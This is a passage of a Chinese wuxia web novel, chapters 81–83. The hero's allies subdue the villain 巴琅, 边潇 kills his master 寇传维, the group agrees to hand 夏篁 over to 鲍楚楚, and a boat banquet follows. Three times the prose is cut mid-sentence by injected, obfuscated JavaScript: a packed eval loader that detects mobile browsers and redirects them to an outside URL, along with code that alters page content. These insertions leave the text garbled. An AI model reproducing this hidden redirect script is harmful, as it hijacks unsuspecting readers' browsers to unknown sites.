寇传维惨烈呻吟几声,便埋头摆脱这些将他钉在山壁上的刀剑匕首,可这些刀剑刃皆没入山壁少说一尺,再加上他自己四肢被钉住了三处,此时也使不上力。夏篁和巴琅一个被点了穴道动弹不得,一个正与姬花青激斗,瑚庄和龙虎寨的人死的死,逃的逃,根本没人来帮他,寇传维下意识地想要呼唤徒弟们来帮忙,却在这个时候才记起,自己的徒弟已经在方才一个个被自己吸干了。 汗水从寇传维头脸两边滑下,再汇聚到下巴一滴滴落下来,寇传维怎么使力都挣脱不了这一刀剑枷锁,越挣越是惊惶烦躁,同时更多血从被刺穿处流出,顺着山壁淌下。就在这个时候,一道人影来到寇传维被钉住的山壁下。 寇传维一怔,止住了动作,抬起头来。 是边潇。 寇传维迫切地对边潇道:“潇儿,快,快帮为师将这些东西弄下来!” 边潇无声地笑了,苦笑,嘲讽地笑,他笑得很奇怪,就连寇传维这个将边潇从小带大的师父,也从未见边潇脸上出现过这么奇怪的笑。 边潇的声音很冷静,冷静得让人有些不自在:“可我是你口中的叛徒,师父,您怎可向叛徒求救?” 寇传维立即道:“只要你救下我,以后庄中谁敢称你叛徒?等我当上武林盟主,你仍将在水南一人之下万人之上的位置,潇儿,行行好,快救我!” 边潇只是仰头看着寇传维,并不说话,也没有任何行动。 寇传维拉下脸求了自己的徒弟半天,本来对他来说已经很不容易了,边潇还根本不为所动,渐渐地,寇传维也知道让边潇救下自己已是无望,便不再向刚才那般祈求。 痛感源源不断地从右手手掌、左手手臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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寇传维大笑道:“哈哈哈……万事皆空,万事皆空?这四个字不过是那些无能的懒人为自己‘不争不抢’寻找的托词罢了,人活在世上,就是要争,就是要抢!我们水南如今的武林盟主,若不是他先祖看准时机,现在坐在这个位置上的人能是他吗?抢不过别人,内心嫉妒,就编造出什么‘万事皆空’的酸话来,这些话,只有失败者才会说。”说罢啐了一口。 边潇喘了一口气,道:“也许正如你所说,我只是个失败者。你是我师父,不管你要达成的目的有多荒唐,我都听你的就是了,可我还是不明白,你怎么能……怎么能杀了师弟们?” 寇传维道:“一个人要成就伟业,脚踩的定是千千万万具尸体垒成的阶梯。我刚才已经说了啊。” 另一边,姬花青与巴琅激斗正酣。 姬花青六年前中诛仇指武功尽失,虽以被蛊虫噬咬为代价勉强恢复了武功,她的内力却怎么也恢复不到中诛仇指之前了,更何况此时巴琅内力暴涨,二人差距更是悬殊。 但一直以来,就是在姬花青中诛仇指前,她都是招式远强于内力类型的武人,所以对于内力与自己悬殊较大的敌人,她也有一套自己的临敌对策。 虽然内力远远不及此时的巴琅,但姬花青对自己在招式上的运用有信心。她利用灵巧身法躲开巴琅挟有强大内力的进攻,并不正面撄其锋芒,却找准空隙,剑刺巴琅破绽。巴琅以匕首封挡,姬花青的剑却又早已刺向别处。姬花青就是用这种方法,已经在巴琅身上戳了好几个窟窿,但也许是因为这些伤口都没能戳中要害,也许是他方才服下的秘药在起作用,巴琅并没有因为这些伤而倒下。 当姬花青的剑又一次即将刺中巴琅,巴琅眼看这一剑就要刺中自己要害,且无法躲开。他知道这剑不比方才,自己这次不能再硬受,当即站定了身形,大喝一声,一阵红色气浪涌向姬花青。 姬花青感受到一股强大内力劈头盖脸向自己砸来,那股内力还没触及到她,她的头发就被吹得向后乱飞,于是脚下一蹬,赶忙向后倒纵而去。 她估计巴琅会跟着追上来,身子尚在空中的同时已经做好了应对巴琅接下来攻击的准备,不想两道黑影突然从巴琅斜后方一左一右冲出,左边的黑影似是人形,右边的则呈长条状,只听得噗噗两声,巴琅的身体同时被钢刀刀身和链|子枪的枪头贯穿。 81. 毒蛊(八) 虽然覃七霄和尹敕想留巴琅活口,但此人服下药后实力暴涨,实在是太危险,若不抱着杀人的心去跟他打,要活捉简直是难上加难,反倒让自己陷入危险的境地。这种情况下,覃尹二人便都使了杀着。 原来他俩拿了匣子后并未真的离开,而是站在远处观察着寨中的情况,寻找机会出手。一来是为了还姬花青救他们的人情,二来也是想着不能就这样将巴琅这种似乎针对玄同教的危险人物放着不管。 被覃尹二人用兵刃刺穿后,巴琅身周一切涌动的气流都戛然而止,只见巴琅垂着头,四肢也无力地垂着,覃七霄和尹敕隔着巴琅相互对视,似乎都在从对方的眼里寻找答案: 他死了吗? 突然,巴琅向覃七霄转过头,覃七霄吓了一跳,巴琅张开嘴,一群长着翅膀的虫子从他嘴中飞出,直往覃七霄脸上扑去。 这些虫子乍一看身形似蜂,仔细看去,身子却有四节,它们的头部长着两片大颚,让人看了头皮发麻。 覃七霄下意识地偏开头,同时脚下力蹬,连忙往旁边退去,饶是如此,仍然听到了虫子在他耳边振翅的声音。覃七霄没有感到有虫子爬上他的脸或颈部,却骤然察觉自己背上匣子的重量在不断减轻。他一边疾退一边回头看去,只见自己背在背上的匣子正被这些飞虫啃噬! 覃七霄赶紧将匣子取下扔在地上,并用脚不断去踩那些虫子,然而虫子数量太多,虽然被覃七霄踩死不少,片刻之后,匣子连同里面的东西还是被这些怪虫啃噬得干干净净。 覃七霄一开始不知道匣子里装的是什么,这些虫子啃噬匣子,里面的东西露出来,覃七霄才看到里面似乎是些纸张,但他永远也没机会知道纸张上究竟写了些什么了。这些虫子围上匣子,须臾之间,原本还放着匣子的地方就什么都不剩下了。这些虫子在将匣子以及里面的东西啃噬完后便四散飞走,方才覃七霄耳边还嗡声大作,此刻一下便安静了下来。 这些虫子的目标竟只是这匣子和里面的东西。 看来,巴琅是在匣子以及里面的纸张上涂抹了什么东西,才能吸引这些虫子前去噬咬。他料到也许会有不得不将这些东西销毁的一天,所以提前做好了准备。 匣子没了,覃七霄又看向巴琅那边,只见巴琅跪倒在地,姬花青已上前察看,覃七霄也马不停蹄地赶了过去,尹敕将链|子枪在手腕上绕了几绕,亦上前察看。 众人起初尚不敢离得太近,生怕他又做出什么让人意想不到的举动,让人防不胜防。伴随巴琅浑身骨骼“喀喀”作响的声音,他先前变得通红的皮肤逐渐恢复成了原本的颜色,身周汹涌的内力也逐渐散去, 这是药效过了? 姬花青想,大约跟诛仇指短时间内只能连使两次一样,巴琅方才服下的玩意儿效果也有时间限制。 不管怎样,只要现在能将巴琅制服了就好。最终,姬花青捡起一把剑鞘,小心翼翼地走上前去,以剑鞘点了巴琅身上的几处穴道。 尽管巴琅现下大约已经使不出诛仇指,姬花青还是不想和他直接接触。 巴琅这边也解决了,姬花青准备回头去看看被钉在山壁上的寇传维,她正要回头,就听见寇传维的一声惨叫传来。 姬花青心中一愕,即刻朝寇传维所在的方向看去,却见边潇站在寇传维面前,手中的剑已经捅进了寇传维的胸口。 边潇仰头看着寇传维,道:“看来您并不是当武林盟主的命。” 覃七霄道了声“该死”便往寇传维那边赶去,尹敕也跟着覃七霄过去。来到寇传维跟前后,覃七霄先是两三步攀上山壁,一手把住山壁一手伸出去探寇传维的鼻息,随后食中二指又落在后者的颈侧,确定这位瑚庄庄主已经完全断气后,从山壁上跃下来,对尹敕摇了摇头。 尹敕狠狠瞪住边潇,然而边潇目光呆滞,似乎已经神游天外,对尹敕看向自己的眼神丝毫没有察觉,也没有做出任何回应。 瑚庄是玄同教安插在水南的秘密据点,寇传维是瑚庄庄主,却做出叛教之事,覃七霄和尹敕本该将寇传维留活口带回教中,交由教主亲自审问,最后再由教主处置才是。他叛教的动机,他暗中跟哪些人和势力合作,这些都是对玄同教来说十分重要的讯息,可现在寇传维被自己的徒弟杀了,很多事情随着寇传维的死,已经永远成为秘密了。 更何况姬花青先前从火中抢出的那匣子,也被巴琅放出的虫子咬得干干净净,对玄同教来说重要的情报越来越少。 姬花青也来到了覃七霄等人身后,道:“寇传维既死,那也就没办法了,不过带另外两个人回玄同教也不亏,他们两个应该也知道不少关键的消息,何况……”姬花青顿了顿,道:“在这件事中,寇传维或许只是一枚棋子,巴琅知道的兴许比寇传维更多,寇传维么,只是个野心大于一切,一心要当武林盟主的蠢人罢了。” 覃七霄叹了口气,叉腰道:“也只好这样了。”他回头看着龙虎寨中一片狼藉,以及双双被点中穴道倒在地上动弹不得的夏篁和巴琅。 姬花青想了想,还是问道:“你们两个把巴琅和夏篁押回玄同教,路上没问题吧?” 覃七霄道:“放心吧花青姐,你也曾是玄同教中人,知道教里有很多方法让被擒的人乖乖跟我们回教,不管那些人武功再怎么高强,在路上都逃不掉。” 姬花青道:“我不过多问一句,你们有办法就好。” 雨馀凉先前被寇传维一掌击中胸口,半天缓不过来,此刻终于呼吸顺畅了些,眼前不再发黑了。于是挣扎着起身去往姬花青身边,走近被钉在山壁上的寇传维的尸体后,却见到边潇面无表情、眼神空洞地站在一边。 没人去跟边潇说话,边潇也不去找别人。 雨馀凉目睹了边潇亲手弑师的那一幕,他看着这时的边潇,不觉想起了刚逃离谷州府的自己,那时他旁边也是纷乱扰攘,人影乱晃,来来去去。但在那时,谁和谁斗作一团,谁又和谁不共戴天,他都已经不知道了,因为他不在意,周围的一切都对他都不重要,因为他刚经历了雨休的死亡。 何况这时的边潇,一下经历了那么多人的死去,他们都是边潇身边的人,无论是师弟,还是碧桃,即使寇传维后来要取边潇的性命,前者也曾是边潇发自内心地尊敬、景仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323602|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的恩师。 雨馀凉又想起在雨休坟前,姬花青对他说过的话:“人生就是一次又一次的离别。” 雨馀凉突然想,能说出这样的话,姬花青是不是也曾经历过他们经历的这一切?她是不是也曾像这般彷徨无助? 覃七霄的声音打断了雨馀凉的思绪:“不知道那匣子里装的是什么,巴琅生怕被人看到了,又是火烧又是放虫来咬的。” 尹敕道:“所以那匣子连同里面的东西全部被虫吃了?” 覃七霄道:“渣都没剩下。” 姬花青道:“那些虫肯啃匣子时,你有看到匣子里装的是什么吗?” 覃七霄道:“有的,是些纸张,但纸上写了些什么,我却完全没看到了,难不成是他们和某些人来往的书信?不过究竟是和谁往来的书信,要这么避着我们?” 听姬花青覃七霄等人提起匣子,覃七霄又说起匣子里面是纸张,雨馀凉突然想起先前在山洞里时,自己装入袖中的那一页纸,于是赶紧将那张纸拿出,交到姬花青面前道:“花青前辈,我们之前寻找解药,也进了那山洞,这是我那个时候顺手拿的。那匣子里既然都是纸张,那么纸上记录的,会不会都是这样的内容?” 姬花青接过纸张一看,脸上神色微变。她将纸张交给覃七霄,覃七霄往纸上看去,只见上面写着“帝屋果剧毒,然与死生蛊同服可得永生。”正当覃七霄琢磨纸页上的字时,姬花青的声音传来:“七霄,一定要把这张纸交到教主手上,另外请帮我传达教主:巴琅的诛仇指可让身怀无涯派内功之人筋脉俱断从而武功尽失。” 覃七霄道:“花青姐,那我要跟教主说这句话是你让我说的吗?” 姬花青忙道:“别,你和尹敕不能告诉任何人你们见过我的事,之前你们发过誓的。” 无论是那张纸上的内容,还是姬花青请求转达的这句话,都让覃七霄感到云里雾里,但他没有多问,只用心记下姬花青让他传达的话,向姬花青点了点头。 覃七霄道:“不过那个巴琅真是恶心,怎么身体里什么地方都能冒出虫子来。” 姬花青道:“他是蛮疆人,蛮人最常和蛊虫打交道,以身体作为饲喂这些虫子的巢穴,对他们来说也是常有之事。” 覃七霄道:“……花青姐,你对蛮人这么了解,离教这几年,你是不是去蛮疆了?” 姬花青没有回答覃七霄这个问题,只道:“去看看夏篁和巴琅吧,若是他们自行将穴道冲开就不好了。”其实对于夏篁和巴琅,姬花青都点了不止一处重穴,这些穴道被以大力点中,就是武林中的顶尖高手也难以自行冲开。姬花青这么说,只是为了岔开话题。 接下来几人便来至巴琅身旁,将巴琅用绳索捆了,接着又去捆夏篁。巴琅和夏篁都被姬花青点中穴道失去了意识,此刻也是任由人宰割。 鲍楚楚之前被寇传维攻击,也还倒在地上,一时半会站不起来,此时见覃七霄等人要将夏篁捆了带走,拼命忍住身体的不适,强撑着站起身来,只觉眼前金星乱冒、天旋地转,她跌跌撞撞来到众人身后,道:“慢着!这个人你们不能带走!” 82. 毒蛊(九) 雨馀凉,姬花青,覃七霄,尹敕皆转过身来,鲍楚楚又说了一遍:“这个人你们不能带走!” 雨馀凉心头一突,想,这下不好办了。 覃七霄之前没见过鲍楚楚,但见鲍楚楚是个跟他年纪差不多大的姑娘,心中多了几分亲近,笑着道:“姑娘,你不让我们带走这个人,究竟是为什么?” 鲍楚楚伸手指着夏篁,道:“他将我的父亲做成了蛊毒傀儡,之后又反复利用我父亲做……做各种坏事,我决饶不了他,我要亲手杀了他!” 在场的都是江湖人,知道江湖上血债血偿乃是天经地义,众人听了鲍楚楚所说,都认为鲍楚楚要杀了夏篁没一点毛病。 但不巧的是,鲍楚楚的这个仇人,同时也是玄同教要的人。 覃七霄道:“对不住了姑娘,虽然他跟你有深仇大恨,但这个人对我们玄同教来说也十分重要,我们要留他活口,带回教中。”他虽拒绝了鲍楚楚,但语气还是温和的。 鲍楚楚转而看向姬花青,道:“你也是玄同教的人,我只跟你商议,夏篁于我有杀父之仇,就道义,就人伦,我都非杀了他不可。我千里迢迢赶来这里就只为替我父亲报仇,之前的纷争我也加入了,我也出了力,我武功虽不及你们,却也杀了好几个这寨子中的贼人,最后的战果要怎么分,不是你们玄同教单方面就能决定的。况且你们玄同教已经有一个巴琅了,将夏篁留给我,一点都不过分吧。”她不知道姬花青就是之前的木姜。 姬花青道:“在下并非玄同教之人,没有立场决定玄同教的事,姑娘找错人了。” 鲍楚楚道:“休想看我年纪大不就蒙我,你武功比那两个玄同教的人好,他们还都听你的话,对你十分尊敬的样子,你以为你说自己不是玄同教的人我就会信么?” 尹敕不舒服,心道:“谁对她十分尊敬了?” 玄同教是江湖上人尽皆知的魔教,虽然远在水西,但在水南也无人不晓。玄同教中人行事残忍诡戾,方才鲍楚楚与玄同教这几人交涉,语气不可谓不冲,随后跟来的铎占文生怕鲍楚楚将这些魔教中人得罪了,悄悄对鲍楚楚道:“不要正面冲突,对面可是魔教。” 鲍楚楚手肘一曲,道:“正面冲突怎么了?魔教怎么了?魔教就可以不讲道理吗?”玄同教之人十分反感他人称玄同教为“魔教”,就因为这种称呼上的问题而引起流血冲突的事以前也不是没发生过。铎占文听鲍楚楚将自己悄悄跟她说的话当着玄同教中人的面大声说出来,飞快地看了一眼姬花青等人,就看着地下不说话了,一边暗自紧张一边心道:“若是讲道理,也就不叫做魔教了。” 鲍楚楚眼光在姬花青、覃七霄、尹敕三人身上轮流转了一圈,道:“他们若要杀我,来啊,我不怕!” 姬花青看向覃七霄,道:“七霄,你觉得要怎样处理?” 覃七霄心想这话你问我?随即想到姬花青早已不在玄同教,而在场之人中,论教中职位,决定权确实在他一人手上。 妈的,这种上头没有人顶着的感觉真不好受。覃七霄开始怀念从前有人做决定,而他只需要听命行事,上头叫他做什么他就做什么,不用为决策负责还不时可以摸摸鱼的日子了。 覃七霄清了清嗓子,对鱼晚衣道:“这位姑娘,这个夏篁呢,对我们玄同教来说的确非常重要……这样,我让你打他几拳出气,只要不把他打死就行。” 鲍楚楚怒道:“你把我当傻子忽悠吗?你……” 姬花青突然道:“七霄,等玄同教将夏篁用完后,他是死是活就没关系了吧?” 覃七霄点头道:“按道理来说是这样。” 姬花青道:“那就在将夏篁带回总坛后,再把他交给鲍姑娘,如何?” 鲍楚楚听姬花青说完这句话,眼前一亮,道:“我同意这样做。”鲍楚楚说这句话同时心想,她怎知我姓鲍? 覃七霄道:“这……”他思虑再三,道:“可以。” 姬花青道:“七霄,鲍姑娘,你们两个再约定一下吧。” 覃七霄看鲍楚楚,正要说话,鲍楚楚却对姬花青道:“他们的话不算数,我只要得到你的承诺。” 姬花青道:“姑娘,我不是玄同教中人……” 鲍楚楚道:“我不信!如果不是你答应我,那就是有猫腻,今天要么我把夏篁杀了,要么你们把我杀了,我说到做到!” 姬花青叹了口气,道:“七霄,尹敕,你们两个也听了。” 鲍楚楚道:“等你们玄同教从夏篁身上得到你们想要的,就把他交给我,是这样没错吧?” 姬花青道:“当然,等此人对玄同教没有用处后,任鲍姑娘处置。” 鲍楚楚盯住姬花青看了一会,伸出手背抹了一下眼睛,道:“好,记住你今天说的话。” 姬花青道:“七霄,尹敕,没问题吗?这于玄同教没什么损害吧?” 覃七霄道:“没有。” 姬花青道:“那么就请记住今天鲍姑娘说的每一句话,回去该怎么禀明怎么禀明。” 双方约定完毕,鲍楚楚先行离开,铎占文跟随其后。 临走前,铎占文用余光匆匆瞥了一眼雨馀凉和姬花青,心想,怪不得雨馀凉突然像变了一个人似的,现如今如此心狠手辣,原来是和水西魔教的人混到了一起。 覃七霄看着鲍楚楚的背影,道:“所以……没有发誓,也没有书契?她才出来闯荡江湖不久吧?” 姬花青道:“所以这取决于你们怎么做。”她看向覃七霄,“你会食言吗?” 覃七霄道:“开玩笑,我覃七霄可不是那种人,就算对方是初出茅庐的愣头青,我也不会占人家便宜。” 将巴琅和夏篁都绑好后,覃七霄问姬花青接下来有什么打算。 姬花青看向站在一旁发呆的边潇,道:“我还要回一趟瑚庄。” 覃七霄顺着姬花青的眼神看去,道:“我和尹兄弟在瑚庄也还有一点扫尾工作要完成。” 雨馀凉想上前安慰一下边潇,等雨馀凉走得离他很近,边潇才察觉雨馀凉。边潇看了一眼雨馀凉,很快又将头低下去,道:“雨兄,我没事……”等到开口说话,他才猛然意识到自己的嗓音变得干瘪而嘶哑。 雨馀凉轻轻拍了拍边潇的肩膀,道:“一切都会过去的。” 边潇将眼睛缓缓闭上,随后又睁开,朝碧桃所在的地方走去。 雨馀凉跟随边潇来到碧桃身边。边潇将碧桃扶起,靠在自己身上,他看着碧桃紧闭的双眼,忍不住痛哭起来。雨馀凉看着碧桃苍白的面容,想到一天之前这个女孩还充满了生气,她的表情,她说话时的声音和样子都还印在脑海中,也不由得伤感。 突然,碧桃咳呛了几声,雨馀凉和边潇都吓了一跳。那几声咳呛虽然微弱,但雨馀凉和边潇都从对方的眼神中确认了自己没有听错。 两人赶紧察看碧桃的情况,只见碧桃先是手指动了动,随后睁开了眼睛。 边潇大喜,道:“碧桃,碧桃!你没死!” 碧桃一醒就听见这样的话,有些生气道:“你才死了呢!我……”但看见边潇一把鼻涕一把泪又哭又笑地看着自己,后面的话到底没说出去。 碧桃突然想起了什么,抓住边潇手臂道:“现在不是说这些的时候,情况怎么样了?庄主他……” 边潇脸色一黯,道:“碧桃,你听我说。”随后将碧桃被寇传维打昏后的事一五一十地说了,包括自己将寇传维杀死这件事。 碧桃听完边潇所说,也出了一会神,之后对边潇道:“然后呢?你有什么打算?” 边潇摇头道:“我不知道。” 碧桃转头望向姬花青、覃七霄以及尹敕,又转回头对边潇道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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覃七霄一边接过令牌收好,一边吁了口气道:“这个鲁坛主,偏生在这些时候动作这么快,临蓟那事有这么着急么?”他顿了顿,对雨馀凉笑道:“不过还是谢谢你啦。”他笑得灿烂,露出一颗虎牙。 临出寨门时,雨馀凉恍眼瞥见寨门旁一座石碑,上面刻着“龙虎寨”三个大字。山寨的大门前立着刻有寨子名字的石碑,是一件再平常不过的事,他本不甚在意,正要将目光收回时,却见石碑旁的草丛中还散着几块碎石。 鬼使神差一般,雨馀凉离了队,走到这些碎石旁,离近一看,才发现这些碎石上也刻着字,想是年代久远,这些字已经有些模糊不清了。 小字模糊不清,大字还是能辨识得出,最先映入雨馀凉眼帘的是一个“寨”字,雨馀凉往旁边看去,又看见一个“手”字。 雨馀凉将每块碎石依次看过去,又见到一个相对来说较为清楚的字,只是石块刚好在这个字所在的位置碎开了,字形便不那么完整,雨馀凉凝目辨认,猜测应该是个“血”字。 突然,如闪电划破长空,他想起了什么,在误闯永夜镇之前,阿翠曾提到过百年前一座叫做“血手寨”的匪寨,而永夜镇中那个一半身体腐烂的蛊毒傀儡,生前正是血手寨的匪徒! 为什么这里会出现刻着这几个字的碎石块?难道这里曾是血手寨的旧址?龙虎寨是在血手寨的原址上建起来的? 雨馀凉这一震非同小可,觉得自己似乎发现了什么不得了的东西。 虽然旧的匪寨被捣毁,又有新的匪寨建立起来,但如今这个新的匪寨也几乎被姬花青一人剿灭了。雨馀凉突然想知道,百年前血洗血手寨的那位侠客究竟是谁?不想在百年之后,在同一地点,姬花青和他做了一样的事。 雨馀凉正自沉思时,忽听见一旁似有异响。连忙转过头看去,只见一男一女躲在围栏后,正向雨馀凉招手。 83. 毒蛊(十) 雨馀凉看这二人衣着打扮,不像是龙虎寨中人,走近他们才恍然想起,这不是先前与覃七霄和尹敕同时到达瑚庄的湘君湘夫人么? 他们是怎么从瑚地牢里出来的?还也到了这来。 原来头天晚上巴琅使出诛仇指被姬花青躲开,这一指便戳在了地牢的墙壁上,而关押湘君与湘夫人的那间牢房牢门刚好与这堵墙壁相连,强劲指力随着那一指形成的裂缝一直蔓延到牢门,铁栅栏门竟就此崩毁。后来随着寇传维等人将战局带到庄外,瑚庄更是倾巢出动,地牢中空无一人,庄内剩下的大都是不会武功的婢女仆从。覃七霄和尹敕从地牢出来,悄悄跟在打斗的众人之后,而湘君和湘夫人则跟随在覃七霄和尹敕身后。 湘君对雨馀凉道:“小兄弟,解药还有吧?能给我们一些吗?” 雨馀凉心想,是了,那日他们也中了毒,只是他们要解药,为什么刚刚不出来,而是在这时悄悄叫住他?雨馀凉又一想,是了,是了,他们是聊氏九歌的人,聊氏虽和他们水西的武林盟主不对付,但也属于武林白道,玄同教是魔教,是邪道,他们自然不想和覃七霄等人碰面。 雨馀凉不是很喜欢这两个人,即使他从来没有和湘君湘夫人接触过,直觉让雨馀凉感到这两个人不是好相处的人,他自己也说不清楚为什么,也许只是气场相斥。 但这不是雨馀凉不救他们的理由,况且,这两人是九歌的人。雨馀凉想到,鱼晚衣和邢勘也是九歌的人,也就是说,他们是鱼晚衣和邢勘的同僚。 雨馀凉想:“鱼姑娘的同僚,怎么能不救?”于是一边道:“有的,解药还有的。”一边将装解药的瓷瓶从怀里掏出递出去。 雨馀凉的手还没完全伸出,湘君就一把将瓷瓶抓过,似乎生怕雨馀凉改变了主意或有人突然出现将解药抢了去。 湘君将解药拿到手,将里面的药丸倒了两粒出来,自己留一粒,另一粒则递给湘夫人。 雨馀凉见他们服药的数量不对,道:“中了多少日毒就要服下多少粒解药,你们这种情况,服一粒是不够的。” 湘君听了雨馀凉的话,又赶紧多倒出几粒在手中,并将之后倒出的药丸也与湘夫人分了。 雨馀凉又道:“服下后还需要调息。” 湘君快速地看了一眼雨馀凉,道:“我们知道。”之前覃七霄和尹敕服解药后调息,他们躲在远处也看到了。 自从湘君粗暴地将装解药的瓷瓶拿过去,雨馀凉就有些不舒服,这时湘君又道:“剩下的解药可以给我们吧?反正你也用不着了,带在身上还麻烦。” 雨馀凉语气生硬,道:“不行,这解药是瑚庄的东西,本来应该在他们知道的情况下将解药分给你们的,我私自做主给你们解药已经不合适了,剩下的解药,我得还给瑚庄。” 湘君撇撇嘴,湘夫人对湘君道:“我们把自己的毒解了就行了,还要那么多解药做什么?他既那么想要解药,就让他留着呗,于我们也没什么大碍。”她虽服了雨馀凉给的解药,但全程没有看雨馀凉一眼,更没有对雨馀凉道一句谢。有什么要跟雨馀凉说的话,都是先跟湘君说,要湘君代她提问,并不直接问雨馀凉。 雨馀凉已经极不耐烦和他们带在一处了,起身道:“二位既已服下解药,那我也该走了。” 湘夫人在湘君耳边小声说了些什么,湘君对雨馀凉道:“小兄弟留步,我们二人还有事想和小兄弟相谈,就请小兄弟在我们二人调息之时,待在一旁。” 雨馀凉听了湘君之言不由心头光火,心想我好歹救了你二人性命,你们跟我说话的语气却与使唤下人也差不了多少,再者,调息时最怕被影响打断,雨馀凉看出湘君这么说是为了在他和湘夫人调息时让雨馀凉留在旁边保护他们,湘君却说是想要雨馀凉留下陪他们说话,这让雨馀凉更不舒服,于是道:“龙虎寨的歹人已被清剿干净,不会有人来打扰,二位若实在不放心,也可服下解药后自去安全的地方调息。” 湘君还待再说,湘夫人对湘君道:“我又想了想,还是算了,他久久没跟上去,一会玄同教和瑚庄的人找回来,我们被发现了就不好了。” 湘君闻言,也不再挽留雨馀凉,和湘夫人相互搀着离开。 雨馀凉看着那两人逐渐远去的背影,将装解药的瓷瓶揣好,回头追赶上大部队。 一行人回到瑚庄,现下庄子里只剩仆婢,以及零星几个会武功的家丁,在这种状况下,边潇宣布了寇传维的死讯,接掌了瑚庄,成了瑚庄的新一任庄主,并将巴琅和夏篁以蛊惑前任庄主的罪名关了起来。 姬花青等边潇将大致事情安排停当后,跟边潇提起了她从来到瑚庄那天就一直十分在意的事。 边潇正坐在桌前整理着庄内的各类文件,碧桃则在一旁协助,听完姬花青所说后,道:“金玉霜?” 姬花青道:“不错,金玉霜。我和馀凉刚来到瑚庄那天,前任庄主应该接受了一份来自临蓟白氏的礼物。” 边潇思索一阵,眼睛一亮,道:“我想起来了,是有这么回事。”他转向碧桃道:“碧桃,之前白氏送来的东西如今是放在仓库里吧。” 碧桃道:“白氏先送了一部分过来,现下那些箱子都放在仓库里,还没来得及清点呢。” 于是姬花青和雨馀凉在边潇和碧桃的带领下来到瑚庄的库房,碧桃对边潇、姬花青、雨馀凉比划道:“那边一堆箱子,都是白氏前段时间送来的。” 边潇走上前去,将那些箱子一一打开,箱子里皆是耀眼的金银,随后碧桃也过去将剩余的箱子打开。碧桃是寇传维的剑侍,多少知道姬花青先前之所以会和寇传维合作,是因为要从他们瑚庄这取得白氏送来的东西。后来看姬花青与寇传维等人撕破脸,于是猜测姬花青与寇传维合作是假,真实目的是为覃七霄和尹敕寻解药拖延时间,既如此,那么她之前说什么要跟瑚庄分白氏送来的礼物自然也是借口了。 让碧桃感到意外的是,如今看来,姬花青似乎是真的想要白氏送来的东西。 等边潇和碧桃将所有箱子打开后,姬花青见里面尽是金块和银锭,心下一沉,面上却还是平静道:“边庄主,碧桃姑娘,就只有这些了吗?” 碧桃点点头。 姬花青道:“之前我听说白氏还送来了乌沛宝剑和金玉霜……” 碧桃道:“的确如此,瑚庄先前也问过白氏,白氏那边的说法是乌沛宝剑不比一般的兵器,工序繁复,工期长,他们已经向乌沛那边的剑庐下了订单,但一直要等到后年全部的宝剑才能铸造完成。金玉霜么,白氏说是过段时间再送来瑚庄。” 姬花青听碧桃说着,在广袖下的手张开又握紧,道:“原来如此,给边庄主和碧桃姑娘添麻烦了。” 碧桃道:“虽然白氏许诺的东西目前送来的只有金银,姬姑娘也可多拿一些去。” 姬花青笑道:“如今庄内百废待兴,很多地方需要用到这些,银子么,我和馀凉现下是不缺的。” 边潇道:“姬姑娘莫不是觉得先前是和师……上一任庄主定下的交易,如今上一任庄主已死,不好再跟我们要东西?没关系的,姬姑娘和雨兄帮了我和碧桃许多,这些是我和碧桃给姑娘和雨兄的谢礼。” 姬花青道:“不,不是这个原因……”她想了想,道:“银子我已经有很多了,再多带着赶路也是累赘,两位的好意,我在这谢过了。” 边潇见姬花青确实不要这些金银,也就不再坚持,道:“好罢。” 碧桃在一旁对边潇道:“这个时候姬姑娘刚好在这,你赶紧把那件事说了。” 边潇道:“对了,差点忘了。姬姑娘,明天我们瑚庄准备了一场船宴,就当是对姑娘的答谢,姑娘没要金银,这船宴可不能拒绝了,否则叫我们心里怎么过得去?” 船宴,也算是绵作特有的一种宴饮形式,顾名思义,就是摆在船上的宴席,绵作船菜色味俱佳,雅致非常,天下闻名。姬花青也是早有耳闻,但从未亲身体会过。 但姬花青此刻满心都在想着尽快赶往临蓟,于是对边潇和碧桃道:“二位盛情,在下铭记于心,只是实在有要事在身,怕是要辜负二位的好意了。” 边潇见姬花青还是拒绝,面上露出沮丧的神色,一旁碧桃却微笑道:“姬姑娘,雨兄却对我们这船宴有兴趣呢,雨兄,你以前吃过船宴没有?” 姬花青看向一旁的雨馀凉,雨馀凉忙道:“船宴我没有吃过,但花青前辈既有要事,自然是先去完成手头上的事更重要!” 姬花青看着雨馀凉,道:“馀凉,你想去看看船宴是什么样吗?” 雨馀凉正色道:“花青前辈身有要事,我可以和前辈立即动身前往临蓟。” 姬花青笑了,对边潇和碧桃道:“边庄主,碧桃姑娘,那我们明日就留在贵庄,承二位款待了。” 边潇喜道:“就是嘛,平时将自己逼得那么紧,偶尔也好好放松一下。” 翌日,众人坐在游船上,湖面上微风吹来,凉爽又惬意。 桌上尽是摆盘精美的河鲜,用各种方式烹饪而成,除此之外还有各类细点,一眼看去,简直让人眼花缭乱,不知从何处下筷。 这是雨馀凉自从离开谷州后吃得最丰盛的一顿,覃七霄也在一旁笑着说道:“幸好之前在牢里只吃些汤汤水水先饿了几天。” 边潇对覃七霄和尹敕道:“当年瑚庄庄主寇仅谆说过,瑚庄世世代代永远效忠玄同教,时至今日,虽然出了点小插曲,但依旧如此。请南护法大人和尹长老将我的意思转答给教主。” 覃七霄一边吞下一大块鱼肉,一边道:“没问题,我定帮边兄传达到。” 